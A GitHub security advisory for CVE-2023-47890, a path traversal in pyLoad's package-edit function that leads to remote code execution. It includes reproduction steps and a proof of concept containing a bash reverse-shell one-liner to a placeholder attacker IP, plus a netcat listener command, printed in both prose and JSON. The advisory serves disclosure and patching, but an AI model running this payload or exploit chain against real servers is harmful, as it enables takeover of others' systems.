ghsa-h73m-pcfw-25h2
Vulnerability from github
Summary
A web UI user can store files anywhere on the pyLoad server and gain command execution by abusing scripts.
Details
When a user creates a new package, a subdirectory is created within the /downloads folder to store files. This new directory name is derived from the package name, except a filter is applied to make sure it can't traverse directories and stays within /downloads.
src/pyload/core/api/init.py::add_package::L432
python
folder = (
folder.replace("http://", "")
.replace("https://", "")
.replace(":", "")
.replace("/", "_")
.replace("\\", "_")
)
So if a package were created with the name "../"
the application would instead create the folder "/downloads/.._/"
However, when editing packages there is no prevention in place and a user can just pick any arbitrary directory in the filesystem.
src/pyload/webui/app/blueprints/json_blueprint.py::edit_package::L195
```python id = int(flask.request.form["pack_id"]) data = { "name": flask.request.form["pack_name"], "_folder": flask.request.form["pack_folder"], "password": flask.request.form["pack_pws"], }
api.set_package_data(id, data) ```
Steps to reproduce
- Login to a pyLoad instance
- Go to "Queue" and create a new package with any name and a valid link
- Click "Edit Package" on the newly created package and set the folder as "/config/scripts/download_finished/"
- Restart the package
- Check the server filesystem and note the link was downloaded and stored inside "/config/scripts/download_finished/"
Remote code execution proof-of-concept
It is possible to use this issue to abuse scripts and gain remote control over the pyLoad server.
On attacker machine
- Start a web server hosting a malicious script
bash
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/<attacker_ip>/9999 0>&1' > evil.sh&1
sudo python3 -m http.server 80
- Start netcat listener for reverse shells
bash
nc -vklp 9999
On pyLoad
-
Change pyLoad file permission settings
Change permissions of downloads: On Permission mode for downloaded files: 0744
-
Create a package with link pointing to the attacker
http://
/evil.sh -
Edit package and change folder to /config/scripts/package_deleted/
-
Refresh package. Wait up to 60 seconds for scripts to be processed by pyLoad
-
Delete any package package to trigger the script
Impact
An authenticated user can gain control over the underlying pyLoad server.
{ "affected": [ { "package": { "ecosystem": "PyPI", "name": "pyload-ng" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "0.5.0b3.dev75" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2023-47890" ], "database_specific": { "cwe_ids": [ "CWE-22" ], "github_reviewed": true, "github_reviewed_at": "2023-11-21T22:19:10Z", "nvd_published_at": "2024-01-08T20:15:44Z", "severity": "HIGH" }, "details": "### Summary\n\nA web UI user can store files anywhere on the pyLoad server and gain command execution by abusing scripts.\n\n### Details\n\nWhen a user creates a new package, a subdirectory is created within the /downloads folder to store files. This new directory name is derived from the package name, except a filter is applied to make sure it can\u0027t traverse directories and stays within /downloads.\n\nsrc/pyload/core/api/__init__.py::add_package::L432\n\n```python\n folder = (\n folder.replace(\"http://\", \"\")\n .replace(\"https://\", \"\")\n .replace(\":\", \"\")\n .replace(\"/\", \"_\")\n .replace(\"\\\\\", \"_\")\n )\n```\n\nSo if a package were created with the name ```\"../\"``` the application would instead create the folder ```\"/downloads/.._/\"```\n\nHowever, when editing packages there is no prevention in place and a user can just pick any arbitrary directory in the filesystem.\n\nsrc/pyload/webui/app/blueprints/json_blueprint.py::edit_package::L195\n\n```python\n id = int(flask.request.form[\"pack_id\"])\n data = {\n \"name\": flask.request.form[\"pack_name\"],\n \"_folder\": flask.request.form[\"pack_folder\"],\n \"password\": flask.request.form[\"pack_pws\"],\n }\n\n api.set_package_data(id, data)\n```\n\n### Steps to reproduce\n\n1. Login to a pyLoad instance\n2. Go to \"Queue\" and create a new package with any name and a valid link\n3. Click \"Edit Package\" on the newly created package and set the folder as \"/config/scripts/download_finished/\"\n4. Restart the package \n5. Check the server filesystem and note the link was downloaded and stored inside \"/config/scripts/download_finished/\"\n\n### Remote code execution proof-of-concept\n\nIt is possible to use this issue to abuse scripts and gain remote control over the pyLoad server.\n\n#### On attacker machine\n\n1. Start a web server hosting a malicious script\n\n```bash\necho -e \u0027#!/bin/bash\\nbash -i \u003e\u0026 /dev/tcp/\u003cattacker_ip\u003e/9999 0\u003e\u00261\u0027 \u003e evil.sh\u00261\nsudo python3 -m http.server 80\n```\n\n\n2. Start netcat listener for reverse shells\n\n ```bash\n nc -vklp 9999\n ```\n\n#### On pyLoad\n\n1. Change pyLoad file permission settings\n\n Change permissions of downloads: On\n Permission mode for downloaded files: 0744\n\n2. Create a package with link pointing to the attacker\n\n http://\u003cattacker_ip\u003e/evil.sh\n\n3. Edit package and change folder to /config/scripts/package_deleted/\n\n4. Refresh package. Wait up to 60 seconds for scripts to be processed by pyLoad\n\n5. Delete any package package to trigger the script\n\n### Impact\n\nAn authenticated user can gain control over the underlying pyLoad server.", "id": "GHSA-h73m-pcfw-25h2", "modified": "2024-01-08T22:14:13Z", "published": "2023-11-21T22:19:10Z", "references": [ { "type": "WEB", "url": "https://github.com/pyload/pyload/security/advisories/GHSA-h73m-pcfw-25h2" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-47890" }, { "type": "WEB", "url": "https://github.com/pyload/pyload/commit/695bb70cd88608dc4fee18a6a7ecb66722ebfd8f" }, { "type": "PACKAGE", "url": "https://github.com/pyload/pyload" }, { "type": "WEB", "url": "http://pyload.com" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:A/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H", "type": "CVSS_V3" } ], "summary": "Download to arbitrary folder can lead to RCE" }
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- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
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- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.